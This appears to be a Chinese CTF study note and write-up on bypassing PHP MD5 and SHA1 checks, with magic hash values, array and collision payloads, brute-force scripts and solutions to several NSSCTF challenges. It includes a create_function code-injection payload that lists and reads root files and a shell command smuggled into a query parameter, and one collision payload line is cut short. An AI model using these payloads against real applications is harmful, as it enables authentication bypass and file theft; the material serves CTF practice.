Web入门-PHP中MD5与SHA1绕过

基础知识

弱比较绕过

PHP将哈希字符串开头为0e的解释为0。

md5加密后0e开头的:

1
2
3
4
5
6
7
8
QLTHNDT
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
0e215962017

sha1加密后0e开头的:

1
2
3
4
5
6
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112

双重md5加密后0e开头的:

1
2
3
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk

数组绕过/强比较绕过

md5sha1无法处理数组,都返回NULL。payload:

1
?a[]=1&b[]=2

MD5碰撞

1
2
3
if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
//...
}

当强制转换为字符串时,数组都会变为“Array”。

payload:

1
2
3
4
5
6
7
8
9
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
#3
$a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";

SHA1碰撞

两个不同文件sha1相同:

1
2
https://shattered.it/static/shattered-1.pdf
https://shattered.it/static/shattered-2.pdf

payload:

1
2
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

$a=md5($a)型

“0e215962017”的md5值也是0e开头。

NaN和INF

非数字和无穷大,但var_dump后都为double。他们与除了true的任何数据类型比较均为false,甚至NAN===NAN为false,例外:md5('NaN')===md5('NaN')为true。

MD5截断爆破

例如求:

1
substr(md5(?),0,5)==='8ffb1'

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = '8ffb1' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 5
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:5] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

SHA256截断爆破

例如求:

1
substr(sha256(?),0,5)==='5625f'

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
def sha256(s):
return hashlib.sha256(('TQLCTF'+str(s)).encode('utf-8')).hexdigest()
keysha256 = '5625f' #已知的sha256截断值
sha256start = 0 # 设置题目已知的截断位置
sha256length = 5
def findsha256(sss): # 输入范围 里面会进行sha256测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(sha256(i)[sha256start:sha256length])
if sha256(i)[0:5] == keysha256: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findsha256, list) # 函数 与参数列表
pool.close()
pool.join()

做题

[BJDCTF 2020]easy_md5

md5函数第二个参数默认false表示返回32位十六进制字符串结果,true标识返回16位二进制格式不可读。

当字符串“ffifdyop”经过md5加密后为“’or’6<乱码>”,尝试绕过:

1
http://node4.anna.nssctf.cn:28478/leveldo4.php?password=ffifdyop

window.location.replace函数表示重定向到新页面。

第二关md5弱比较,尝试科学计数法:“QNKCDZO”和”240610708”。

1
http://node4.anna.nssctf.cn:28478/levels91.php?a=QNKCDZO&b=240610708

第三关md5强比较,尝试数组绕过:

1
param1%5B%5D=1&param2%5B%5D=2

exp:

1
2
3
4
import requests
payload1={'param1[]':1,'param2[]':2}
response1=requests.post('http://node4.anna.nssctf.cn:28478/levell14.php',data=payload1)
print(response1.text[-45:])

[NSSCTF 2022 Spring Recruit]babyphp

payload:

1
a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO

[NISACTF 2022]level-up

MD5转string强相等payload:

1
array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

SHA1转字符串强相等payload:

1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

不能有下划线,则改为空格,自动转为下划线:

1
/level_level_4.php?NI+SA+=txw4ever

最后一关为create_function绕过,使用payload:

1
a=\create_function&b=return 'mmkjhhsd';}var_dump(scandir('/'));/*

这个payload相当于(\符号对函数执行无影响):

1
2
3
4
5
<?php
function lambda_1(){ #create_function的第一个空参数填入传参
return 'mmkjhhsd';}var_dump(scandir('/'));/*
}
?>

看到flag,直接读:

1
a=\create_function&b=return 'mmkjhhsd';}var_dump(file_get_contents('/flag'));/*

[SWPUCTF 2022 新生赛]奇妙的MD5

ffifdyop、?x=QNKCDZO&y=240610708、wqh[]=1&dsy[]=2

[GDOUCTF 2023]受不了一点

弱比较类型不需要相同,114514与114514a弱相等。

1
2
3
http://node4.anna.nssctf.cn:28461/?aaa=114514&bbb=114514a
ctf[]=1&gdou[]=2
Cookie: cookie=j0k3r

[WUSTCTF 2020]朴实无华

1
http://node5.anna.nssctf.cn:28749/fl4g.php?num=1e10&md5=0e215962017&get_flag=tac${IFS}f*